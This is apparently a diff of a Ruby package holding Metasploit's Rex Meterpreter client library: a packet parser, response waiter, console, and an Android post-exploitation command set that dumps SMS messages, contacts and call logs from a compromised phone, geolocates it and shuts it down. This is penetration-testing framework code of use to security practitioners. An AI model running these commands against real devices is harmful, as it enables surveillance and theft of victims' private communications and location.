  462. data/lib/rex/ui/progress_tracker.rb +97 -0
  463. data/lib/rex/ui/subscriber.rb +160 -0
  464. data/lib/rex/ui/text/color.rb +98 -0
  465. data/lib/rex/ui/text/dispatcher_shell.rb +538 -0
  466. data/lib/rex/ui/text/input.rb +119 -0
  467. data/lib/rex/ui/text/input/buffer.rb +79 -0
  468. data/lib/rex/ui/text/input/readline.rb +129 -0
  469. data/lib/rex/ui/text/input/socket.rb +96 -0
  470. data/lib/rex/ui/text/input/stdio.rb +46 -0
  471. data/lib/rex/ui/text/irb_shell.rb +62 -0
  472. data/lib/rex/ui/text/output.rb +86 -0
  473. data/lib/rex/ui/text/output/buffer.rb +62 -0
  474. data/lib/rex/ui/text/output/buffer/stdout.rb +26 -0
  475. data/lib/rex/ui/text/output/file.rb +44 -0
  476. data/lib/rex/ui/text/output/socket.rb +44 -0
  477. data/lib/rex/ui/text/output/stdio.rb +53 -0
  478. data/lib/rex/ui/text/output/tee.rb +56 -0
  479. data/lib/rex/ui/text/progress_tracker.rb +57 -0
  480. data/lib/rex/ui/text/shell.rb +403 -0
  481. data/lib/rex/ui/text/table.rb +346 -0
  482. data/lib/rex/zip.rb +96 -0
  483. data/lib/rex/zip/archive.rb +130 -0
  484. data/lib/rex/zip/blocks.rb +184 -0
  485. data/lib/rex/zip/entry.rb +122 -0
  486. data/lib/rex/zip/jar.rb +283 -0
  487. data/lib/rex/zip/samples/comment.rb +32 -0
  488. data/lib/rex/zip/samples/mkwar.rb +138 -0
  489. data/lib/rex/zip/samples/mkzip.rb +19 -0
  490. data/lib/rex/zip/samples/recursive.rb +58 -0
  491. metadata +536 -0
@@ -0,0 +1,94 @@
1
+ # -*- coding: binary -*-
2
+
3
+ module Rex
4
+ module Post
5
+ module Meterpreter
6
+
7
+ ###
8
+ #
9
+ # This class is responsible for reading in and decrypting meterpreter
10
+ # packets that arrive on a socket
11
+ #
12
+ ###
13
+ class PacketParser
14
+
15
+ #
16
+ # Initializes the packet parser context with an optional cipher.
17
+ #
18
+ def initialize(cipher = nil)
19
+ self.cipher = cipher
20
+
21
+ reset
22
+ end
23
+
24
+ #
25
+ # Resets the parser state so that a new packet can begin being parsed.
26
+ #
27
+ def reset
28
+ self.raw = ''
29
+ self.hdr_length_left = 8
30
+ self.payload_length_left = 0
31
+ end
32
+
33
+ #
34
+ # Reads data from the wire and parse as much of the packet as possible.
35
+ #
36
+ def recv(sock)
37
+ if (self.hdr_length_left > 0)
38
+ buf = sock.read(self.hdr_length_left)
39
+
40
+ if (buf)
41
+ self.raw << buf
42
+
43
+ self.hdr_length_left -= buf.length
44
+ else
45
+ raise EOFError
46
+ end
47
+
48
+ # If we've finished reading the header, set the
49
+ # payload length left to the number of bytes
50
+ # specified in the length
51
+ if (self.hdr_length_left == 0)
52
+ self.payload_length_left = raw.unpack("N")[0] - 8
53
+ end
54
+ elsif (self.payload_length_left > 0)
55
+ buf = sock.read(self.payload_length_left)
56
+
57
+ if (buf)
58
+ self.raw << buf
59
+
60
+ self.payload_length_left -= buf.length
61
+ else
62
+ raise EOFError
63
+ end
64
+ end
65
+
66
+ # If we've finished reading the entire packet
67
+ if ((self.hdr_length_left == 0) &&
68
+ (self.payload_length_left == 0))
69
+
70
+ # Create a typeless packet
71
+ packet = Packet.new(0)
72
+
73
+ # TODO: cipher decryption
74
+ if (cipher)
75
+ end
76
+
77
+ # Serialize the packet from the raw buffer
78
+ packet.from_r(self.raw)
79
+
80
+ # Reset our state
81
+ reset
82
+
83
+ return packet
84
+ end
85
+ end
86
+
87
+ protected
88
+ attr_accessor :cipher, :raw, :hdr_length_left, :payload_length_left # :nodoc:
89
+
90
+ end
91
+
92
+
93
+ end; end; end
94
+
@@ -0,0 +1,83 @@
1
+ # -*- coding: binary -*-
2
+
3
+ require 'timeout'
4
+ require 'thread'
5
+
6
+ module Rex
7
+ module Post
8
+ module Meterpreter
9
+
10
+ ###
11
+ #
12
+ # This class handles waiting for a response to a given request
13
+ # and the subsequent response association.
14
+ #
15
+ ###
16
+ class PacketResponseWaiter
17
+
18
+ #
19
+ # Initializes a response waiter instance for the supplied request
20
+ # identifier.
21
+ #
22
+ def initialize(rid, completion_routine = nil, completion_param = nil)
23
+ self.rid = rid.dup
24
+ self.response = nil
25
+
26
+ if (completion_routine)
27
+ self.completion_routine = completion_routine
28
+ self.completion_param = completion_param
29
+ else
30
+ self.done = false
31
+ end
32
+ end
33
+
34
+ #
35
+ # Checks to see if this waiter instance is waiting for the supplied
36
+ # packet based on its request identifier.
37
+ #
38
+ def waiting_for?(packet)
39
+ return (packet.rid == rid)
40
+ end
41
+
42
+ #
43
+ # Notifies the waiter that the supplied response packet has arrived.
44
+ #
45
+ def notify(response)
46
+ self.response = response
47
+
48
+ if (self.completion_routine)
49
+ self.completion_routine.call(response, self.completion_param)
50
+ else
51
+ self.done = true
52
+ end
53
+ end
54
+
55
+ #
56
+ # Waits for a given time interval for the response packet to arrive.
57
+ # If the interval is -1 we can wait forever.
58
+ #
59
+ def wait(interval)
60
+ if( interval and interval == -1 )
61
+ while(not self.done)
62
+ ::IO.select(nil, nil, nil, 0.1)
63
+ end
64
+ else
65
+ begin
66
+ Timeout.timeout(interval) {
67
+ while(not self.done)
68
+ ::IO.select(nil, nil, nil, 0.1)
69
+ end
70
+ }
71
+ rescue Timeout::Error
72
+ self.response = nil
73
+ end
74
+ end
75
+ return self.response
76
+ end
77
+
78
+ attr_accessor :rid, :done, :response # :nodoc:
79
+ attr_accessor :completion_routine, :completion_param # :nodoc:
80
+ end
81
+
82
+ end; end; end
83
+
@@ -0,0 +1,142 @@
1
+ # -*- coding: binary -*-
2
+ require 'rex/ui'
3
+ require 'rex/post/meterpreter'
4
+ require 'rex/logging'
5
+
6
+ module Rex
7
+ module Post
8
+ module Meterpreter
9
+ module Ui
10
+
11
+ ###
12
+ #
13
+ # This class provides a shell driven interface to the meterpreter client API.
14
+ #
15
+ ###
16
+ class Console
17
+
18
+ include Rex::Ui::Text::DispatcherShell
19
+
20
+ # Dispatchers
21
+ require 'rex/post/meterpreter/ui/console/interactive_channel'
22
+ require 'rex/post/meterpreter/ui/console/command_dispatcher'
23
+ require 'rex/post/meterpreter/ui/console/command_dispatcher/core'
24
+
25
+ #
26
+ # Initialize the meterpreter console.
27
+ #
28
+ def initialize(client)
29
+ if (Rex::Compat.is_windows())
30
+ super("meterpreter")
31
+ else
32
+ super("%undmeterpreter%clr")
33
+ end
34
+
35
+ # The meterpreter client context
36
+ self.client = client
37
+
38
+ # Queued commands array
39
+ self.commands = []
40
+
41
+ # Point the input/output handles elsewhere
42
+ reset_ui
43
+
44
+ enstack_dispatcher(Console::CommandDispatcher::Core)
45
+
46
+ # Set up logging to whatever logsink 'core' is using
47
+ if ! $dispatcher['meterpreter']
48
+ $dispatcher['meterpreter'] = $dispatcher['core']
49
+ end
50
+ end
51
+
52
+ #
53
+ # Called when someone wants to interact with the meterpreter client. It's
54
+ # assumed that init_ui has been called prior.
55
+ #
56
+ def interact(&block)
57
+ init_tab_complete
58
+
59
+ # Run queued commands
60
+ commands.delete_if { |ent|
61
+ run_single(ent)
62
+ true
63
+ }
64
+
65
+ # Run the interactive loop
66
+ run { |line|
67
+ # Run the command
68
+ run_single(line)
69
+
70
+ # If a block was supplied, call it, otherwise return false
71
+ if (block)
72
+ block.call
73
+ else
74
+ false
75
+ end
76
+ }
77
+ end
78
+
79
+ #
80
+ # Interacts with the supplied channel.
81
+ #
82
+ def interact_with_channel(channel)
83
+ channel.extend(InteractiveChannel) unless (channel.kind_of?(InteractiveChannel) == true)
84
+ channel.on_command_proc = self.on_command_proc if self.on_command_proc
85
+ channel.on_print_proc = self.on_print_proc if self.on_print_proc
86
+
87
+ channel.interact(input, output)
88
+ channel.reset_ui
89
+ end
90
+
91
+ #
92
+ # Queues a command to be run when the interactive loop is entered.
93
+ #
94
+ def queue_cmd(cmd)
95
+ self.commands << cmd
96
+ end
97
+
98
+ #
99
+ # Runs the specified command wrapper in something to catch meterpreter
100
+ # exceptions.
101
+ #
102
+ def run_command(dispatcher, method, arguments)
103
+ begin
104
+ super
105
+ rescue Timeout::Error
106
+ log_error("Operation timed out.")
107
+ rescue RequestError => info
108
+ log_error(info.to_s)
109
+ rescue Rex::AddressInUse => e
110
+ log_error(e.message)
111
+ rescue ::Errno::EPIPE, ::OpenSSL::SSL::SSLError, ::IOError
112
+ self.client.kill
113
+ rescue ::Exception => e
114
+ log_error("Error running command #{method}: #{e.class} #{e}")
115
+ end
116
+ end
117
+
118
+ #
119
+ # Logs that an error occurred and persists the callstack.
120
+ #
121
+ def log_error(msg)
122
+ print_error(msg)
123
+
124
+ elog(msg, 'meterpreter')
125
+
126
+ dlog("Call stack:\n#{$@.join("\n")}", 'meterpreter')
127
+ end
128
+
129
+ attr_reader :client # :nodoc:
130
+
131
+ protected
132
+
133
+ attr_writer :client # :nodoc:
134
+ attr_accessor :commands # :nodoc:
135
+
136
+ end
137
+
138
+ end
139
+ end
140
+ end
141
+ end
142
+
@@ -0,0 +1,86 @@
1
+ # -*- coding: binary -*-
2
+ require 'rex/logging'
3
+
4
+ module Rex
5
+ module Post
6
+ module Meterpreter
7
+ module Ui
8
+
9
+ ###
10
+ #
11
+ # Base class for all command dispatchers within the meterpreter console user
12
+ # interface.
13
+ #
14
+ ###
15
+ module Console::CommandDispatcher
16
+
17
+ include Rex::Ui::Text::DispatcherShell::CommandDispatcher
18
+
19
+ #
20
+ # The hash of file names to class names after a module has already been
21
+ # loaded once on the client side.
22
+ #
23
+ @@file_hash = {}
24
+
25
+ #
26
+ # Checks the file name to hash association to see if the module being
27
+ # requested has already been loaded once.
28
+ #
29
+ def self.check_hash(name)
30
+ @@file_hash[name]
31
+ end
32
+
33
+ #
34
+ # Sets the file path to class name association for future reference.
35
+ #
36
+ def self.set_hash(name, klass)
37
+ @@file_hash[name] = klass
38
+ end
39
+
40
+ def initialize(shell)
41
+ @msf_loaded = nil
42
+ super
43
+ end
44
+
45
+ #
46
+ # Returns the meterpreter client context.
47
+ #
48
+ def client
49
+ shell.client
50
+ end
51
+
52
+ #
53
+ # Returns true if the client has a framework object.
54
+ #
55
+ # Used for firing framework session events
56
+ #
57
+ def msf_loaded?
58
+ return @msf_loaded unless @msf_loaded.nil?
59
+ # if we get here we must not have initialized yet
60
+
61
+ if client.framework
62
+ # We have a framework instance so the msf libraries should be
63
+ # available. Load up the ones we're going to use
64
+ require 'msf/base/serializer/readable_text'
65
+ end
66
+ @msf_loaded = !!(client.framework)
67
+ @msf_loaded
68
+ end
69
+
70
+ #
71
+ # Log that an error occurred.
72
+ #
73
+ def log_error(msg)
74
+ print_error(msg)
75
+
76
+ elog(msg, 'meterpreter')
77
+
78
+ dlog("Call stack:\n#{$@.join("\n")}", 'meterpreter')
79
+ end
80
+
81
+ end
82
+
83
+ end
84
+ end
85
+ end
86
+ end
@@ -0,0 +1,383 @@
1
+ # -*- coding: binary -*-
2
+ require 'rex/post/meterpreter'
3
+ require 'msf/core/auxiliary/report'
4
+
5
+ module Rex
6
+ module Post
7
+ module Meterpreter
8
+ module Ui
9
+
10
+ ###
11
+ # Android extension - set of commands to be executed on android devices.
12
+ # extension by Anwar Mohamed (@anwarelmakrahy)
13
+ ###
14
+
15
+ class Console::CommandDispatcher::Android
16
+ include Console::CommandDispatcher
17
+ include Msf::Auxiliary::Report
18
+
19
+ #
20
+ # List of supported commands.
21
+ #
22
+ def commands
23
+ all = {
24
+ 'dump_sms' => 'Get sms messages',
25
+ 'dump_contacts' => 'Get contacts list',
26
+ 'geolocate' => 'Get current lat-long using geolocation',
27
+ 'dump_calllog' => 'Get call log',
28
+ 'check_root' => 'Check if device is rooted',
29
+ 'device_shutdown' => 'Shutdown device'
30
+ }
31
+
32
+ reqs = {
33
+ 'dump_sms' => [ 'dump_sms' ],
34
+ 'dump_contacts' => [ 'dump_contacts' ],
35
+ 'geolocate' => [ 'geolocate' ],
36
+ 'dump_calllog' => [ 'dump_calllog' ],
37
+ 'check_root' => [ 'check_root' ],
38
+ 'device_shutdown' => [ 'device_shutdown']
39
+ }
40
+
41
+ # Ensure any requirements of the command are met
42
+ all.delete_if do |cmd, desc|
43
+ reqs[cmd].any? { |req| not client.commands.include?(req) }
44
+ end
45
+ end
46
+
47
+ def cmd_device_shutdown(*args)
48
+
49
+ seconds = 0
50
+ device_shutdown_opts = Rex::Parser::Arguments.new(
51
+ '-h' => [ false, 'Help Banner' ],
52
+ '-t' => [ false, 'Shutdown after n seconds']
53
+ )
54
+
55
+ device_shutdown_opts.parse(args) { | opt, idx, val |
56
+ case opt
57
+ when '-h'
58
+ print_line('Usage: device_shutdown [options]')
59
+ print_line('Shutdown device.')
60
+ print_line(device_shutdown_opts.usage)
61
+ return
62
+ when '-t'
63
+ seconds = val.to_i
64
+ end
65
+ }
66
+
67
+ res = client.android.device_shutdown(seconds)
68
+
69
+ if res
70
+ print_status("Device will shutdown #{seconds > 0 ?('after ' + seconds + ' seconds'):'now'}")
71
+ else
72
+ print_error('Device shutdown failed')
73
+ end
74
+ end
75
+
76
+ def cmd_dump_sms(*args)
77
+
78
+ path = "sms_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
79
+ dump_sms_opts = Rex::Parser::Arguments.new(
80
+ '-h' => [ false, 'Help Banner' ],
81
+ '-o' => [ false, 'Output path for sms list']
82
+ )
83
+
84
+ dump_sms_opts.parse(args) { | opt, idx, val |
85
+ case opt
86
+ when '-h'
87
+ print_line('Usage: dump_sms [options]')
88
+ print_line('Get sms messages.')
89
+ print_line(dump_sms_opts.usage)
90
+ return
91
+ when '-o'
92
+ path = val
93
+ end
94
+ }
95
+
96
+ smsList = []
97
+ smsList = client.android.dump_sms
98
+
99
+ if smsList.count > 0
100
+ print_status("Fetching #{smsList.count} sms #{smsList.count == 1? 'message': 'messages'}")
101
+ begin
102
+ info = client.sys.config.sysinfo
103
+
104
+ data = ""
105
+ data << "\n=====================\n"
106
+ data << "[+] Sms messages dump\n"
107
+ data << "=====================\n\n"
108
+
109
+ time = Time.new
110
+ data << "Date: #{time.inspect}\n"
111
+ data << "OS: #{info['OS']}\n"
112
+ data << "Remote IP: #{client.sock.peerhost}\n"
113
+ data << "Remote Port: #{client.sock.peerport}\n\n"
114
+
115
+ smsList.each_with_index { |a, index|
116
+
117
+ data << "##{index.to_i + 1}\n"
118
+
119
+ type = 'Unknown'
120
+ if a['type'] == '1'
121
+ type = 'Incoming'
122
+ elsif a['type'] == '2'
123
+ type = 'Outgoing'
124
+ end
125
+
126
+ status = 'Unknown'
127
+ if a['status'] == '-1'
128
+ status = 'NOT_RECEIVED'
129
+ elsif a['status'] == '1'
130
+ status = 'SME_UNABLE_TO_CONFIRM'
131
+ elsif a['status'] == '0'
132
+ status = 'SUCCESS'
133
+ elsif a['status'] == '64'
134
+ status = 'MASK_PERMANENT_ERROR'
135
+ elsif a['status'] == '32'
136
+ status = 'MASK_TEMPORARY_ERROR'
137
+ elsif a['status'] == '2'
138
+ status = 'SMS_REPLACED_BY_SC'
139
+ end
140
+
141
+ data << "Type\t: #{type}\n"
142
+
143
+ time = a['date'].to_i / 1000
144
+ time = Time.at(time)
145
+
146
+ data << "Date\t: #{time.strftime('%Y-%m-%d %H:%M:%S')}\n"
147
+ data << "Address\t: #{a['address']}\n"
148
+ data << "Status\t: #{status}\n"
149
+ data << "Message\t: #{a['body']}\n\n"
150
+ }
151
+
152
+ ::File.write(path, data)
153
+ print_status("Sms #{smsList.count == 1? 'message': 'messages'} saved to: #{path}")
154
+
155
+ return true
156
+ rescue
157
+ print_error("Error getting messages: #{$!}")
158
+ return false
159
+ end
160
+ else
161
+ print_status('No sms messages were found!')
162
+ return false
163
+ end
164
+ end
165
+
166
+
167
+ def cmd_dump_contacts(*args)
168
+
169
+ path = "contacts_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
170
+ dump_contacts_opts = Rex::Parser::Arguments.new(
171
+
172
+ '-h' => [ false, 'Help Banner' ],
173
+ '-o' => [ false, 'Output path for contacts list']
174
+
175
+ )
176
+
177
+ dump_contacts_opts.parse(args) { | opt, idx, val |
178
+ case opt
179
+ when '-h'
180
+ print_line('Usage: dump_contacts [options]')
181
+ print_line('Get contacts list.')
182
+ print_line(dump_contacts_opts.usage)
183
+ return
184
+ when '-o'
185
+ path = val
186
+ end
187
+ }
188
+
189
+ contactList = []
190
+ contactList = client.android.dump_contacts
191
+
192
+ if contactList.count > 0
193
+ print_status("Fetching #{contactList.count} #{contactList.count == 1? 'contact': 'contacts'} into list")
194
+ begin
195
+ info = client.sys.config.sysinfo
196
+
197
+ data = ""
198
+ data << "\n======================\n"
199
+ data << "[+] Contacts list dump\n"
200
+ data << "======================\n\n"
201
+
202
+ time = Time.new
203
+ data << "Date: #{time.inspect}\n"
204
+ data << "OS: #{info['OS']}\n"
205
+ data << "Remote IP: #{client.sock.peerhost}\n"
206
+ data << "Remote Port: #{client.sock.peerport}\n\n"
207
+
208
+ contactList.each_with_index { |c, index|
209
+
210
+ data << "##{index.to_i + 1}\n"
211
+ data << "Name\t: #{c['name']}\n"
212
+
213
+ if c['number'].count > 0
214
+ (c['number']).each { |n|
215
+ data << "Number\t: #{n}\n"
216
+ }
217
+ end
218
+
219
+ if c['email'].count > 0
220
+ (c['email']).each { |n|
221
+ data << "Email\t: #{n}\n"
222
+ }
223
+ end
224
+
225
+ data << "\n"
226
+ }
227
+
228
+ ::File.write(path, data)
229
+ print_status("Contacts list saved to: #{path}")
230
+
231
+ return true
232
+ rescue
233
+ print_error("Error getting contacts list: #{$!}")
234
+ return false
235
+ end
236
+ else
237
+ print_status('No contacts were found!')
238
+ return false
239
+ end
240
+ end
241
+
242
+ def cmd_geolocate(*args)
243
+
244
+ generate_map = false
245
+ geolocate_opts = Rex::Parser::Arguments.new(
246
+
247
+ '-h' => [ false, 'Help Banner' ],
248
+ '-g' => [ false, 'Generate map using google-maps']
249
+
250
+ )
251
+
252
+ geolocate_opts.parse(args) { | opt, idx, val |
253
+ case opt
254
+ when '-h'
255
+ print_line('Usage: geolocate [options]')
256
+ print_line('Get current location using geolocation.')
257
+ print_line(geolocate_opts.usage)
258
+ return
259
+ when '-g'
260
+ generate_map = true
261
+ end
262
+ }
263
+
264
+ geo = client.android.geolocate
265
+
266
+ print_status('Current Location:')
267
+ print_line("\tLatitude: #{geo[0]['lat']}")
268
+ print_line("\tLongitude: #{geo[0]['long']}\n")
269
+ print_line("To get the address: https://maps.googleapis.com/maps/api/geocode/json?latlng=#{geo[0]['lat'].to_f},#{geo[0]['long'].to_f}&sensor=true\n")
270
+
271
+ if generate_map
272
+ link = "https://maps.google.com/maps?q=#{geo[0]['lat'].to_f},#{geo[0]['long'].to_f}"
273
+ print_status("Generated map on google-maps:")
274
+ print_status(link)
275
+ Rex::Compat.open_browser(link)
276
+ end
277
+
278
+ end
279
+
280
+ def cmd_dump_calllog(*args)
281
+
282
+ path = "calllog_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
283
+ dump_calllog_opts = Rex::Parser::Arguments.new(
284
+
285
+ '-h' => [ false, 'Help Banner' ],
286
+ '-o' => [ false, 'Output path for call log']
287
+
288
+ )
289
+
290
+ dump_calllog_opts.parse(args) { | opt, idx, val |
291
+ case opt
292
+ when '-h'
293
+ print_line('Usage: dump_calllog [options]')
294
+ print_line('Get call log.')
295
+ print_line(dump_calllog_opts.usage)
296
+ return
297
+ when '-o'
298
+ path = val
299
+ end
300
+ }
301
+
302
+ log = client.android.dump_calllog
303
+
304
+ if log.count > 0
305
+ print_status("Fetching #{log.count} #{log.count == 1? 'entry': 'entries'}")
306
+ begin
307
+ info = client.sys.config.sysinfo
308
+
309
+ data = ""
310
+ data << "\n=================\n"
311
+ data << "[+] Call log dump\n"
312
+ data << "=================\n\n"
313
+
314
+ time = Time.new
315
+ data << "Date: #{time.inspect}\n"
316
+ data << "OS: #{info['OS']}\n"
317
+ data << "Remote IP: #{client.sock.peerhost}\n"
318
+ data << "Remote Port: #{client.sock.peerport}\n\n"
319
+
320
+ log.each_with_index { |a, index|
321
+
322
+ data << "##{index.to_i + 1}\n"
323
+
324
+ data << "Number\t: #{a['number']}\n"
325
+ data << "Name\t: #{a['name']}\n"
326
+ data << "Date\t: #{a['date']}\n"
327
+ data << "Type\t: #{a['type']}\n"
328
+ data << "Duration: #{a['duration']}\n\n"
329
+ }
330
+
331
+ ::File.write(path, data)
332
+ print_status("Call log saved to #{path}")
333
+
334
+ return true
335
+ rescue
336
+ print_error("Error getting call log: #{$!}")
337
+ return false
338
+ end
339
+ else
340
+ print_status('No call log entries were found!')
341
+ return false
342
+ end
343
+ end
344
+
345
+
346
+ def cmd_check_root(*args)
347
+
348
+ check_root_opts = Rex::Parser::Arguments.new(
349
+ '-h' => [ false, 'Help Banner' ]
350
+ )
351
+
352
+ check_root_opts.parse(args) { | opt, idx, val |
353
+ case opt
354
+ when '-h'
355
+ print_line('Usage: check_root [options]')
356
+ print_line('Check if device is rooted.')
357
+ print_line(check_root_opts.usage)
358
+ return
359
+ end
360
+ }
361
+
362
+ is_rooted = client.android.check_root
363
+
364
+ if is_rooted
365
+ print_good('Device is rooted')
366
+ elsif
367
+ print_status('Device is not rooted')
368
+ end
369
+ end
370
+
371
+ #
372
+ # Name for this dispatcher
373
+ #
374
+ def name
375
+ 'Android'
376
+ end
377
+
378
+ end
379
+
380
+ end
381
+ end
382
+ end
383
+ end